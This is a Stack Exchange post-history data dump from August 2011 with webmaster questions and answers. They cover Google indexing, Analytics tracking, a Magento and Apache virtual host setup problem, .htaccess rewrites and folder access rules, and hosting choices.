  <row Id="45446" PostHistoryTypeId="2" PostId="18653" RevisionGUID="68aa15d1-6304-45b9-a517-6eac5f62cae7" CreationDate="2011-08-23T18:16:03.553" UserId="1253" Text="The reason why you don't see your site in Google's index is they haven't had a chance to crawl your site and add your pages to their index. It doesn't happen magically or quickly. It takes time for Google to find your pages and then crawl them and then add them to the index. You'll need to be patient while this happens. If you want to speed this process along see [this answer][1] for tips on how to do that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/2402/i-cannot-see-my-website-in-google/2403#2403" />
  <row Id="45447" PostHistoryTypeId="5" PostId="18652" RevisionGUID="4e7a0123-f543-4de8-8ce0-abe48fd11bb8" CreationDate="2011-08-23T18:19:26.560" UserId="1253" Comment="modified tags, minor text edits" Text="Does anyone know how I would setup a goal based on eCommerce orders and if they were from a specific source (e.g. Facebook)? Is this possible? Also is it possible to setup reports for traffic from specific sources? (e.g. Twitter, Facebook)?" />
  <row Id="45448" PostHistoryTypeId="6" PostId="18652" RevisionGUID="4e7a0123-f543-4de8-8ce0-abe48fd11bb8" CreationDate="2011-08-23T18:19:26.560" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;google-analytics&gt;" />
  <row Id="45449" PostHistoryTypeId="25" PostId="18627" RevisionGUID="34df5069-3e6d-43de-a663-1c55b519723d" CreationDate="2011-08-23T18:35:08.340" Comment="http://twitter.com/#!/StackWebmasters/status/106071992490397698" />
  <row Id="45450" PostHistoryTypeId="5" PostId="18651" RevisionGUID="cc3bb8a3-4819-4c65-aedd-23a2e3b18b6d" CreationDate="2011-08-23T18:42:56.347" UserId="6231" Comment="added 30 characters in body" Text="After migrating my website (based on Drupal CMS) to WebHosting (it's about two months there), I noticed that my pages aren't searchable by Google. It finds nothing, even though it should clearly find my website. Same thing happens when I want to know the ranking of my website.&#xD;&#xA;&#xD;&#xA;Do you know where the fault could be?&#xD;&#xA;" />
  <row Id="45451" PostHistoryTypeId="5" PostId="18651" RevisionGUID="fefc840a-1971-4e12-ba72-c142260ba655" CreationDate="2011-08-23T18:57:28.150" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [I cannot see my website in google](http://webmasters.stackexchange.com/questions/2402/i-cannot-see-my-website-in-google)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;After migrating my website (based on Drupal CMS) to WebHosting (it's about two months there), I noticed that my pages aren't searchable by Google. It finds nothing, even though it should clearly find my website. Same thing happens when I want to know the ranking of my website.&#xD;&#xA;&#xD;&#xA;Do you know where the fault could be?&#xD;&#xA;" />
  <row Id="45452" PostHistoryTypeId="10" PostId="18651" RevisionGUID="631314dc-65e0-4fe3-b60f-4e59b4e8a2c5" CreationDate="2011-08-23T18:57:27.823" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="45453" PostHistoryTypeId="2" PostId="18654" RevisionGUID="617df164-c939-4560-9fbc-3c247d6555f0" CreationDate="2011-08-23T19:12:30.440" UserId="9757" Text="I'm wondering how premium ad networks (The Deck, Carbon Ads, Fusion Ads, etc..) calculate the payout for publishers. The problem is they have a fixed price for a fixed timeframe (30 days or a week) instead of the classic &quot;for N impressions&quot; price, so how they assign the payout to the whole network?&#xD;&#xA;&#xD;&#xA;They have usually 15-30 sites in a network and costs about 1500-2000$ (a lot more for The Deck) for a 30 day campaign. How they could give these high payouts everyone is talking about, even if (I suppose) their cut is 20%-30%?&#xD;&#xA;&#xD;&#xA;And suppose if they don't fill all the available ad slots for one month, the payout will depend on how many paying advertisers they have for that month? &#xD;&#xA;Could be possible it's so variable?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="45454" PostHistoryTypeId="1" PostId="18654" RevisionGUID="617df164-c939-4560-9fbc-3c247d6555f0" CreationDate="2011-08-23T19:12:30.440" UserId="9757" Text="How premium ad networks calculate the payout?" />
  <row Id="45455" PostHistoryTypeId="3" PostId="18654" RevisionGUID="617df164-c939-4560-9fbc-3c247d6555f0" CreationDate="2011-08-23T19:12:30.440" UserId="9757" Text="&lt;google-adsense&gt;&lt;advertising&gt;&lt;cpm&gt;" />
  <row Id="45456" PostHistoryTypeId="2" PostId="18655" RevisionGUID="c976af40-4d22-4581-8e5d-3495169d679b" CreationDate="2011-08-23T19:16:09.553" UserId="9756" Text="I have a small site with facebook like button.&#xD;&#xA;&#xD;&#xA;I want to find out the information about what pages are liked.&#xD;&#xA;&#xD;&#xA;I've found url http://graph.facebook.com/?id=http://imdb.com but it shows only overal count for the site. I think that I can ask http://graph.facebook.com/?ids=url1,url2 with all my pages as the parameters to get detailed information, but this seems to be an ugly solution.&#xD;&#xA;A have lots of pages, so I have to ask facebook many times.&#xD;&#xA;&#xD;&#xA;Maybe there is some simple way of finding the information I need?" />
  <row Id="45457" PostHistoryTypeId="1" PostId="18655" RevisionGUID="c976af40-4d22-4581-8e5d-3495169d679b" CreationDate="2011-08-23T19:16:09.553" UserId="9756" Text="Statistics for facebook like button" />
  <row Id="45458" PostHistoryTypeId="3" PostId="18655" RevisionGUID="c976af40-4d22-4581-8e5d-3495169d679b" CreationDate="2011-08-23T19:16:09.553" UserId="9756" Text="&lt;like&gt;" />
  <row Id="45459" PostHistoryTypeId="2" PostId="18656" RevisionGUID="726d9a01-35cd-4e46-b4ab-c3c5f2f65bd0" CreationDate="2011-08-23T19:19:03.977" UserId="6231" Text="How can I find out that my website which is actually uploaded on webhosting for about two months is visited by search engines like google, yahoo and others? Which ranking sites should I regularly check to see how my web is in according to other websites?" />
  <row Id="45460" PostHistoryTypeId="1" PostId="18656" RevisionGUID="726d9a01-35cd-4e46-b4ab-c3c5f2f65bd0" CreationDate="2011-08-23T19:19:03.977" UserId="6231" Text="Is website visited by search engines?" />
  <row Id="45461" PostHistoryTypeId="3" PostId="18656" RevisionGUID="726d9a01-35cd-4e46-b4ab-c3c5f2f65bd0" CreationDate="2011-08-23T19:19:03.977" UserId="6231" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;&lt;site-ranking&gt;" />
  <row Id="45462" PostHistoryTypeId="2" PostId="18657" RevisionGUID="bf7aef47-70f6-4aeb-8262-a0ce3c822d84" CreationDate="2011-08-23T19:25:12.713" UserId="1253" Text="&gt; How can I find out that my website which is actually uploaded on webhosting for about two months is visited by search engines like google, yahoo and others? &#xD;&#xA;&#xD;&#xA;Check your logs or site statistics like [Google Analytics][1] if you installed it, or [Awstats][2] if your host provides it.&#xD;&#xA;&#xD;&#xA;&gt; Which ranking sites should I regularly check to see how my web is in according to other websites?&#xD;&#xA;&#xD;&#xA;Use [Google Webmaster Tools][3] for this&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/analytics/&#xD;&#xA;  [2]: http://awstats.sourceforge.net/&#xD;&#xA;  [3]: http://www.google.com/webmasters/tools/" />
  <row Id="45463" PostHistoryTypeId="2" PostId="18658" RevisionGUID="81b0de36-4c92-4d34-b58c-29179327ac21" CreationDate="2011-08-23T19:27:30.513" UserId="1253" Text="You can use [Google Analytics for this][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.meadigital.com/clickosity/2011/08/google-analytics-social-media-guide/" />
  <row Id="45464" PostHistoryTypeId="2" PostId="18659" RevisionGUID="2f451524-be77-4380-acf0-74668e4c5933" CreationDate="2011-08-23T19:31:59.697" UserId="8950" Text="Usually in your logs or in the analysis programs, the search engine bots typically have unique browser types, so for example, instead of seeing Firefox, IE, Chrome, etc.  you might see:  GoogleBot, Slurp (Yahoo's old algorithm), Bing, etc.   Usually you also can tell bots from humans because the visitor IP's for bots will likely have hundreds if not thousands of page downloads/hits vs. human visitors which might do 5 or so (depending on the site of course).&#xD;&#xA;&#xD;&#xA;That information however is just ballpark blanket info. Your analytics program will likely have much more options to sift the data, but usually the tips above will help with all programs.&#xD;&#xA;&#xD;&#xA;Also as John mentioned, Awstats and Google Analytics are definitely great programs to use, and Awstats will likely be setup by default if you're running your site on cPanel (which is a common admin system).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;As for rankings, you will want to have a look at Technorati, and Alexa although HubSpot.com (a marketing company) offers an excellent comparison tool to see how your site compares to competitors. In addition the tools at SEOMoz.com are excellent for measuring performance." />
  <row Id="45465" PostHistoryTypeId="2" PostId="18660" RevisionGUID="dbfa824e-2091-4712-a941-49a6297cd2fd" CreationDate="2011-08-23T19:34:55.370" UserId="4502" Text="Make Tech Easier recently &lt;a href=&quot;http://maketecheasier.com/add-social-tracking-for-google-analytics/2011/08/04&quot;&gt;posted a walkthrough&lt;/a&gt; for doing this that doesn't involve registering an FB application. I'm actually not sure why that step is even there; it seems not to be for tracking the likes, but so that you can use the Facebook Insights tool. If you want that fine, but I had no call for it." />
  <row Id="45466" PostHistoryTypeId="5" PostId="18660" RevisionGUID="69f66db0-a5af-4f68-876c-a6c61e8eb0ea" CreationDate="2011-08-23T19:40:15.393" UserId="4502" Comment="added 38 characters in body" Text="Make Tech Easier recently &lt;a href=&quot;http://maketecheasier.com/add-social-tracking-for-google-analytics/2011/08/04&quot;&gt;posted a walkthrough&lt;/a&gt; for doing this that doesn't involve registering an FB application. I'm actually not sure why that step is even there(in John's answer); it seems not to be for simply tracking the likes, but so that you can use the Facebook Insights tool in addition. If you want that, fine, but I had no call for it." />
  <row Id="45467" PostHistoryTypeId="5" PostId="18660" RevisionGUID="c23ddd29-1942-4928-bed2-27ee95810657" CreationDate="2011-08-23T19:53:50.350" UserId="4502" Comment="added 22 characters in body" Text="Make Tech Easier recently &lt;a href=&quot;http://maketecheasier.com/add-social-tracking-for-google-analytics/2011/08/04&quot;&gt;posted a walkthrough&lt;/a&gt; for doing this with Google Analytics that doesn't involve registering an FB application. I'm actually not sure why that step is even there(in John's answer); it seems not to be for simply tracking the likes, but so that you can use the Facebook Insights tool in addition. If you want that, fine, but I had no call for it." />
  <row Id="45468" PostHistoryTypeId="17" PostId="18661" RevisionGUID="fdca6a0a-9aa1-44e7-8f9b-32c277caf90b" CreationDate="2011-08-23T20:36:39.970" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/18365/magento-unable-to-access-remote-site-but-able-to-access-a-simple-index-html-fil" Text="" />
  <row Id="45469" PostHistoryTypeId="2" PostId="18661" RevisionGUID="b524ed81-b21f-485c-b3ae-86e35232a6f4" CreationDate="2011-08-23T17:31:26.423" UserId="9860" UserDisplayName="Luis" Text="I'm building a store (magento 1.6.0.0-rc2) and have a home server to host the site.&#xD;&#xA;It is behind a modem/router with redirection of port 80 and 3000 active to server box.&#xD;&#xA;&#xD;&#xA;1. I can access the front-end and back-end from localhost (Slackware Linux).&#xD;&#xA;&#xD;&#xA;2. Configured a no-ip account with a host name with 'Port 80 Redirect' enabled.&#xD;&#xA;example: store1.no-ip.biz&#xD;&#xA;&#xD;&#xA;3. If I try to access the site from another network, I get &#xD;&#xA;Unable to connect&#xD;&#xA;Firefox can't establish a connection to the server at localhost:3000.&#xD;&#xA;A strange thing is that the message returns 'localhost'...&#xD;&#xA;&#xD;&#xA;4. but I created a simple *index.html* file and saved it in the root directory, side by side with index.php, and **I can access it** without any problem.&#xD;&#xA;Permission of these two files are 640, owner myself and group apache (the one httpd runs with).&#xD;&#xA;&#xD;&#xA;5. I have no firewall active, hosts.deny is clear.&#xD;&#xA;&#xD;&#xA;6. In httpd.conf I have:&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;    &lt;IfModule dir_module&gt;&#xD;&#xA;            DirectoryIndex index.html index.html.var index.php index.php3 index.php4 index.php5&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    &#xD;&#xA;    LoadModule authz_host_module lib/httpd/modules/mod_authz_host.so&#xD;&#xA;    &#xD;&#xA;    LoadModule log_config_module lib/httpd/modules/mod_log_config.so &#xD;&#xA;    &#xD;&#xA;    LoadModule setenvif_module lib/httpd/modules/mod_setenvif.so &#xD;&#xA;    &#xD;&#xA;    LoadModule mime_module lib/httpd/modules/mod_mime.so &#xD;&#xA;    &#xD;&#xA;    LoadModule dir_module lib/httpd/modules/mod_dir.so &#xD;&#xA;    &#xD;&#xA;    LoadModule alias_module lib/httpd/modules/mod_alias.so &#xD;&#xA;    &#xD;&#xA;    LoadModule rewrite_module lib/httpd/modules/mod_rewrite.so&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    Include /etc/httpd/mod_php.conf&#xD;&#xA;    &#xD;&#xA;    Include /etc/httpd/extra/httpd-vhosts.conf&#xD;&#xA;&#xD;&#xA;7. In the virtual host I have:&#xD;&#xA;&#xD;&#xA;     &lt;VirtualHost *:3000&gt;&#xD;&#xA;&#xD;&#xA;        ServerName store1.no-ip.biz&#xD;&#xA;&#xD;&#xA;    	UseCanonicalName Off&#xD;&#xA;&#xD;&#xA;    	DocumentRoot &quot;/home/larrobag/lio/apache/magento/&quot;&#xD;&#xA;&#xD;&#xA;        ErrorLog &quot;/var/log/httpd/lio_error_log&quot;&#xD;&#xA;&#xD;&#xA;        CustomLog &quot;/var/log/httpd/lio-access_log&quot; common&#xD;&#xA;&#xD;&#xA;    	LimitRequestBody 300000&#xD;&#xA;&#xD;&#xA;    	&lt;Directory /&gt;&#xD;&#xA;      	        Options FollowSymLinks&#xD;&#xA;&#xD;&#xA;    		Allow from all&#xD;&#xA;&#xD;&#xA;    	&lt;/Directory&gt;&#xD;&#xA;&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;What am I missing?  I'd appreciate any clues on this problem.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="45470" PostHistoryTypeId="1" PostId="18661" RevisionGUID="b524ed81-b21f-485c-b3ae-86e35232a6f4" CreationDate="2011-08-23T17:31:26.423" UserId="9860" UserDisplayName="Luis" Text="magento - Unable to access remote site but able to access a simple index.html file" />
  <row Id="45471" PostHistoryTypeId="3" PostId="18661" RevisionGUID="b524ed81-b21f-485c-b3ae-86e35232a6f4" CreationDate="2011-08-23T17:31:26.423" UserId="9860" UserDisplayName="Luis" Text="&lt;websites&gt;&lt;php&gt;" />
  <row Id="45472" PostHistoryTypeId="2" PostId="18662" RevisionGUID="b1d0b72e-adb5-4902-bd5c-edf19f76f8a7" CreationDate="2011-08-23T20:48:45.030" UserId="9513" Text="If you don't mind using a hosted solution, then Paypal already has everything that you need to sell services online, including a shopping cart. The fact that they will handle the payment process makes it a very easy solution. Furthermore, users of your service do not need a Paypal account to buy, they can pay with a credit card." />
  <row Id="45473" PostHistoryTypeId="2" PostId="18663" RevisionGUID="a59efdc8-89c7-4527-a201-879fd952ebe6" CreationDate="2011-08-23T20:51:05.183" UserId="9513" Text="You can use RDP to connect to a remote Windows instance and display it locally. The thin client can be another Windows machine, or a Linux machine that supports RDP.&#xD;&#xA;&#xD;&#xA;Note that Windows XP does not support multiple logins via RDP, you will need Windows Server Edition for that." />
  <row Id="45474" PostHistoryTypeId="5" PostId="18661" RevisionGUID="17499b31-e243-4a04-979f-74adee49d43d" CreationDate="2011-08-23T21:14:15.857" UserId="8354" Comment="improved formatting" Text="I'm building a store (magento 1.6.0.0-rc2) and have a home server to host the site.&#xD;&#xA;It is behind a modem/router with redirection of port 80 and 3000 active to server box.&#xD;&#xA;&#xD;&#xA;1\. I can access the front-end and back-end from localhost (Slackware Linux).&#xD;&#xA;&#xD;&#xA;2\. Configured a no-ip account with a host name with 'Port 80 Redirect' enabled.&#xD;&#xA;example: `store1.no-ip.biz`&#xD;&#xA;&#xD;&#xA;3\. If I try to access the site from another network, I get &#xD;&#xA;&#xD;&#xA;&gt; Unable to connect&#xD;&#xA;&gt;&#xD;&#xA;&gt; Firefox can't establish a connection to the server at localhost:3000.&#xD;&#xA;&#xD;&#xA;A strange thing is that the message returns 'localhost'...&#xD;&#xA;&#xD;&#xA;4\. but I created a simple *index.html* file and saved it in the root directory, side by side with index.php, and **I can access it** without any problem.&#xD;&#xA;Permission of these two files are 640, owner myself and group apache (the one httpd runs with).&#xD;&#xA;&#xD;&#xA;5\. I have no firewall active, hosts.deny is clear.&#xD;&#xA;&#xD;&#xA;6\. In **httpd.conf** I have:&#xD;&#xA;&#xD;&#xA;    &lt;IfModule dir_module&gt;&#xD;&#xA;            DirectoryIndex index.html index.html.var index.php index.php3 index.php4 index.php5&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    &#xD;&#xA;    LoadModule authz_host_module lib/httpd/modules/mod_authz_host.so&#xD;&#xA;    LoadModule log_config_module lib/httpd/modules/mod_log_config.so &#xD;&#xA;    LoadModule setenvif_module lib/httpd/modules/mod_setenvif.so &#xD;&#xA;    LoadModule mime_module lib/httpd/modules/mod_mime.so &#xD;&#xA;    LoadModule dir_module lib/httpd/modules/mod_dir.so &#xD;&#xA;    LoadModule alias_module lib/httpd/modules/mod_alias.so &#xD;&#xA;    LoadModule rewrite_module lib/httpd/modules/mod_rewrite.so&#xD;&#xA;    &#xD;&#xA;    Include /etc/httpd/mod_php.conf&#xD;&#xA;    Include /etc/httpd/extra/httpd-vhosts.conf&#xD;&#xA;&#xD;&#xA;7\. In the virtual host I have:&#xD;&#xA;&#xD;&#xA;     &lt;VirtualHost *:3000&gt;&#xD;&#xA;        ServerName store1.no-ip.biz&#xD;&#xA;    	UseCanonicalName Off&#xD;&#xA;    	DocumentRoot &quot;/home/larrobag/lio/apache/magento/&quot;&#xD;&#xA;        ErrorLog &quot;/var/log/httpd/lio_error_log&quot;&#xD;&#xA;        CustomLog &quot;/var/log/httpd/lio-access_log&quot; common&#xD;&#xA;    	LimitRequestBody 300000&#xD;&#xA;&#xD;&#xA;    	&lt;Directory /&gt;&#xD;&#xA;      	        Options FollowSymLinks&#xD;&#xA;    		Allow from all&#xD;&#xA;    	&lt;/Directory&gt;&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;What am I missing?  I'd appreciate any clues on this problem." />
  <row Id="45475" PostHistoryTypeId="4" PostId="18661" RevisionGUID="17499b31-e243-4a04-979f-74adee49d43d" CreationDate="2011-08-23T21:14:15.857" UserId="8354" Comment="improved formatting" Text="Magento - Unable to access remote site but able to access a simple index.html file" />
  <row Id="45476" PostHistoryTypeId="6" PostId="18661" RevisionGUID="17499b31-e243-4a04-979f-74adee49d43d" CreationDate="2011-08-23T21:14:15.857" UserId="8354" Comment="improved formatting" Text="&lt;php&gt;&lt;websites&gt;&lt;magento&gt;" />
  <row Id="45477" PostHistoryTypeId="25" PostId="10236" RevisionGUID="fef3048e-ad1b-44b2-b3cb-c1069a039d75" CreationDate="2011-08-23T21:35:08.693" Comment="http://twitter.com/#!/StackWebmasters/status/106117291984433152" />
  <row Id="45478" PostHistoryTypeId="2" PostId="18664" RevisionGUID="dea24f82-d060-4e6c-b4c3-a4668a1803d0" CreationDate="2011-08-23T22:02:41.737" UserId="5809" Text="I hear lots of people talk about videos as being good for SEO, like it is more and different content.&#xD;&#xA;&#xD;&#xA;But to imbed a video, youtube makes it an iFrame, which means it can't be crawled by google, right?&#xD;&#xA;&#xD;&#xA;So then if it can't get crawled, its irrelevant for SEO, right?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="45479" PostHistoryTypeId="1" PostId="18664" RevisionGUID="dea24f82-d060-4e6c-b4c3-a4668a1803d0" CreationDate="2011-08-23T22:02:41.737" UserId="5809" Text="Does embedding youtube videos help SEO?" />
  <row Id="45480" PostHistoryTypeId="3" PostId="18664" RevisionGUID="dea24f82-d060-4e6c-b4c3-a4668a1803d0" CreationDate="2011-08-23T22:02:41.737" UserId="5809" Text="&lt;seo&gt;" />
  <row Id="45481" PostHistoryTypeId="2" PostId="18665" RevisionGUID="38ed94a2-f78a-46f4-b956-a3cf2f0a0b00" CreationDate="2011-08-23T22:13:01.017" UserId="3019" Text="I have a download file that is protected with a reCAPTCHA. Is there a way to track the downloads (both attempts and completed) with Google Analytics?" />
  <row Id="45482" PostHistoryTypeId="1" PostId="18665" RevisionGUID="38ed94a2-f78a-46f4-b956-a3cf2f0a0b00" CreationDate="2011-08-23T22:13:01.017" UserId="3019" Text="How to track with Google Analytics a download?" />
  <row Id="45483" PostHistoryTypeId="3" PostId="18665" RevisionGUID="38ed94a2-f78a-46f4-b956-a3cf2f0a0b00" CreationDate="2011-08-23T22:13:01.017" UserId="3019" Text="&lt;google-analytics&gt;&lt;tracking&gt;" />
  <row Id="45484" PostHistoryTypeId="2" PostId="18666" RevisionGUID="b608d9f6-50fe-4567-abe3-0d3185d9434a" CreationDate="2011-08-23T22:14:20.743" UserId="1253" Text="Youtube videos do not directly SEO. Besides the fact that they are iframes they don't have any actual crawlable content to be indexed. They can possibly help you if other sites link to your page hosting the video, but the actual video itself does not affect the page's relevance for any particular keywords. If anything, if no other content is on the page, it may even be considered low quality or duplicate content. (Although it would be interesting if Google used the title of the video it its ranking algorithm since it does always have access to that content)." />
  <row Id="45485" PostHistoryTypeId="5" PostId="18664" RevisionGUID="a76f3e2b-a439-4b20-903c-1ecaaf92efeb" CreationDate="2011-08-23T22:14:30.523" UserId="1253" Comment="minor text edits" Text="I hear lots of people talk about videos as being good for SEO, like it is more and different content.&#xD;&#xA;&#xD;&#xA;But to imbed a video, youtube makes it an iFrame, which means it can't be crawled by google, right?&#xD;&#xA;&#xD;&#xA;So then if it can't get crawled, its irrelevant for SEO, right?" />
  <row Id="45486" PostHistoryTypeId="2" PostId="18667" RevisionGUID="117f6dff-d71e-406e-9505-f29379c34274" CreationDate="2011-08-23T22:17:20.863" UserId="1253" Text="A quick Google search turns up [the answer][1]. In fact, you can track it several ways. You can use a event handler on the link to the download or put the download on a page that has tracking code on it and have that page serve up the file after the captcha is completed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/analytics/bin/answer.py?answer=55529" />
  <row Id="45487" PostHistoryTypeId="4" PostId="18665" RevisionGUID="7a5f8eb3-16e7-4594-a836-1f8181fc6436" CreationDate="2011-08-23T22:22:27.553" UserId="1253" Comment="edited title" Text="How to track a download with Google Analytics?" />
  <row Id="45488" PostHistoryTypeId="5" PostId="18667" RevisionGUID="940a7bf8-8308-4a62-8034-01b627960e7f" CreationDate="2011-08-23T22:22:56.883" UserId="1253" Comment="added 92 characters in body" Text="A quick Google search turns up [the answer][1]. In fact, you can track it several ways. You can use a event handler on the link to the download or put the download on a page that has tracking code on it and have that page serve up the file after the captcha is completed.&#xD;&#xA;&#xD;&#xA;However, it cannot track if a download is completed. You need special software for that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/analytics/bin/answer.py?answer=55529" />
  <row Id="45489" PostHistoryTypeId="17" PostId="18668" RevisionGUID="82458a5f-96b8-44ab-a2af-2210bcb76a44" CreationDate="2011-08-23T22:43:11.667" UserId="-1" Comment="from http://stackoverflow.com/questions/7163354/is-it-possible-to-limit-user-access-to-folders-using-htaccess" Text="" />
  <row Id="45490" PostHistoryTypeId="17" PostId="18669" RevisionGUID="d49b9ce7-99d8-4929-93d7-9b3055fcb79a" CreationDate="2011-08-23T22:43:11.667" UserId="-1" Comment="from http://stackoverflow.com/questions/7163354/is-it-possible-to-limit-user-access-to-folders-using-htaccess" Text="" />
  <row Id="45491" PostHistoryTypeId="2" PostId="18669" RevisionGUID="cdd852e4-9841-4335-a063-b713e708cfba" CreationDate="2011-08-23T15:50:09.170" UserDisplayName="freshwire" Text="Assuming the host has support then you need this line.&#xD;&#xA;&#xD;&#xA;    deny from all&#xD;&#xA;&#xD;&#xA;Related: http://httpd.apache.org/docs/2.0/mod/mod_access.html" />
  <row Id="45492" PostHistoryTypeId="2" PostId="18668" RevisionGUID="ebb2dadd-9b9f-43ca-8f4d-801e1d99c195" CreationDate="2011-08-23T15:15:50.143" UserId="9355" Text="Is it possible to limit user access using a HTACCESS file? I'm not quite sure how to edit folder permissions with the host i'm with so I figure using an HTACCESS file might be easier." />
  <row Id="45493" PostHistoryTypeId="1" PostId="18668" RevisionGUID="ebb2dadd-9b9f-43ca-8f4d-801e1d99c195" CreationDate="2011-08-23T15:15:50.143" UserId="9355" Text="Is it possible to limit user access to folders using HTACCESS?" />
  <row Id="45494" PostHistoryTypeId="3" PostId="18668" RevisionGUID="ebb2dadd-9b9f-43ca-8f4d-801e1d99c195" CreationDate="2011-08-23T15:15:50.143" UserId="9355" Text="&lt;apache&gt;&lt;htaccess&gt;" />
  <row Id="45495" PostHistoryTypeId="2" PostId="18670" RevisionGUID="2f7fd604-f646-4df6-beb8-bceec6cf3160" CreationDate="2011-08-23T23:29:31.090" UserId="9759" Text="I have this .htacces files:&#xD;&#xA;&#xD;&#xA;    ErrorDocument 404 /index.html&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    Options +FollowSymLinks&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^domain\.com [NC]&#xD;&#xA;    RewriteRule (.*) http://mydomain.com/$1 [L,R=301]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_URI} index.php$&#xD;&#xA;    RewriteCond %{QUERY_STRING} ^search=([A-Za-z0-9\+]+)$&#xD;&#xA;    RewriteRule ^(.*)$ /mystring-%1.html? [R=301,L]&#xD;&#xA;    RewriteRule ^myfolder-([^+]+)\+([^.]+)\.html$ /mp3-$1-$2.html [R=301,L]&#xD;&#xA;    RewriteRule ^myfolder-(.*).html$ index.php?search=$1&amp;a=1 [L]&#xD;&#xA;    RewriteRule ^myfolder-([a-zA-Z0-9_-]+)-([^-]*)\.htm$ /index.php?search=$1&amp;page=$2 [L]&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;&#xD;&#xA;**I want to redirect all of the Upercase and all case to lowercase URL like this:**&#xD;&#xA;&#xD;&#xA;http://mydomain.com/myfolder-sample-URL.html&#xD;&#xA;to&#xD;&#xA;http://mydomain.com/myfolder-sample-url.html&#xD;&#xA;&#xD;&#xA;Please help me!" />
  <row Id="45496" PostHistoryTypeId="1" PostId="18670" RevisionGUID="2f7fd604-f646-4df6-beb8-bceec6cf3160" CreationDate="2011-08-23T23:29:31.090" UserId="9759" Text="How to redirect any URL to lowercase URL?" />
  <row Id="45497" PostHistoryTypeId="3" PostId="18670" RevisionGUID="2f7fd604-f646-4df6-beb8-bceec6cf3160" CreationDate="2011-08-23T23:29:31.090" UserId="9759" Text="&lt;htaccess&gt;&lt;mod-rewrite&gt;" />
  <row Id="45498" PostHistoryTypeId="5" PostId="18620" RevisionGUID="5dbc266f-2d88-4d02-b38c-d489bb904a7a" CreationDate="2011-08-23T23:54:59.633" UserId="9256" Comment="had a stray list item" Text="I've been looking for a suitable set of HTML5/CSS3 foundation files to start new projects on. I started off piecing together my own files, but I believe I might be better served in finding a solid and fairly compatible(with me) CSS3/HTML5 framework and then tweaking certain things that may not best suit my own process. &#xD;&#xA;&#xD;&#xA;I'd love to find something that is responsive and that includes aspects focusing on layout, type(hor and vert baselines), form and interface components, cross-browser issues, and preferably built on something other than a just imple css reset, but that does include rebuilding elements consistently across browsers for a clean work slate. Extra features like polyfills or others area great, as is good documentation and examples.&#xD;&#xA;&#xD;&#xA;So far, off the top of my head I know of,&#xD;&#xA;&#xD;&#xA; - Skeleton&#xD;&#xA; - 1140 Grid&#xD;&#xA; - 320 &amp; Up (plus BP)&#xD;&#xA; - HTML5 Boilerplate 2.0 and Mobile&#xD;&#xA; - Inuit.css&#xD;&#xA; - Less Framework&#xD;&#xA; - Fluir&#xD;&#xA; - Perkins.Less&#xD;&#xA; - A few WP themes&#xD;&#xA;&#xD;&#xA;Are there any great one I don't know about? I work a lot in WP, and something that is easily incorporated (but also stand alone) is ideal. Plugins and wide set feature while maintaining the ability to cut it down when needed(flexibility) is also a big plus, and in par with a faster learning, since I want to start using whatever I find immediately . &#xD;&#xA;&#xD;&#xA;What are some of the better options you guys might be able to recommend? Systems or scripts, plugins, and other related tools are also welcome, Thanks! " />
  <row Id="45499" PostHistoryTypeId="17" PostId="18671" RevisionGUID="074406fe-2898-4d4c-9c8d-9534268fd345" CreationDate="2011-08-24T00:15:04.047" UserId="-1" Comment="from http://stackoverflow.com/questions/3639898/has-anyone-used-webfaction-hosting-for-large-traffic-websites" Text="" />
  <row Id="45502" PostHistoryTypeId="2" PostId="18671" RevisionGUID="788ed892-f2e8-47f1-bd35-9a03c16758fc" CreationDate="2010-09-03T22:08:59.393" UserId="9872" UserDisplayName="littlejim84" Text="I'm a point where I'm needing to move a large traffic website off of MediaTemple Grid Server (it's maxing out the resources there now and they have actually asked politely for it to be moved to something more suitable) and on to a new server that can handle things better.&#xD;&#xA;&#xD;&#xA;My first thought was setting up a VPS. The site has two main components, the website itself and a forum. The website is currently coded in PHP with MySQL and is mostly static HTML files dotted with PHP scripts. It's old and cranky and ideally I want to move it to something like Django. The forum is a Simple Machines forum written in PHP and uses MySQL. They both get a lot of traffic. Bandwidth is up in the 600mb to 1gb status a month with over 500,000 visitors and more a month. The forum gets 400+ posts a day with 40,000 visitors a day. Like I say, I was going to move each part to their own VPS. One for each.&#xD;&#xA;&#xD;&#xA;But then I was thinking... I'm having to set this up all my self, I need to get backups sorted, I'll need to maintain the website myself. It's all alot of work, which I'm not sure I want to take on.&#xD;&#xA;&#xD;&#xA;So... Then I thought of WebFaction. I've used them for a few small websites. I've contacted them to ask this exact same question, and they indeed said it could handle it. But they would surely say this.&#xD;&#xA;&#xD;&#xA;I'm curious to know if anyone here has used WebFaction for large scale websites. Stuff with a lot of traffic. Can WebFaction handle large scale websites in your experience?" />
